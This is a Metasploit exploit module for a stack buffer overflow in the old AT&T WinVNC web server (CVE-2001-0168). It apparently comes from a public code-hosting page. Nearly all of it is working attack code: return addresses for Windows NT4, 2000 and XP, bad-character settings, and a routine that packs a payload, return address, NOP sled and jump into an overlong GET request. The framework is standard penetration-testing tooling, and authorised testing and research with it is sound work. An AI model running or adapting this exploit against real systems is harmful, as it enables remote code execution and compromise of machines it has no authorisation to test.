Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/vnc/winvnc_http_get.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'WinVNC Web Server GET Overflow',13'Description' => %q{14This module exploits a buffer overflow in the AT&T WinVNC version15<= v3.3.3r7 web server. When debugging mode with logging is16enabled (non-default), an overly long GET request can overwrite17the stack. This exploit does not work well with VNC payloads!18},19'Author' => 'aushack',20'License' => MSF_LICENSE,21'References' =>22[23[ 'BID', '2306' ],24[ 'OSVDB', '6280' ],25[ 'CVE', '2001-0168' ],26],27'Privileged' => true,28'DefaultOptions' =>29{30'EXITFUNC' => 'thread',31},32'Payload' =>33{34'Space' => 979,35'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x0b",36'StackAdjustment' => -3500,37},38'Platform' => ['win'],39'Targets' =>40[41[ 'Windows NT4 SP3-6', { 'Ret' => 0x779f4e39 } ], # push esp, ret msvcrt.dll42[ 'Windows 2000 SP1-4', { 'Ret' => 0x77bba3af } ], # jmp esp comctl32.dll43[ 'Windows XP SP0-1', { 'Ret' => 0x71ab7bfb } ], # jmp esp ws2_32.dll44],45'DisclosureDate' => '2001-01-29',46'DefaultTarget' => 1))4748register_options(49[50Opt::RPORT(5800),51])52end5354def exploit5556sploit = '/' + payload.encoded + [target['Ret']].pack('V')57sploit << make_nops(8) + Rex::Arch::X86.jmp(0xfffffc1c)5859res = send_request_raw({60'uri' => sploit,61'method' => 'GET',62}, 5)6364handler6566end67end686970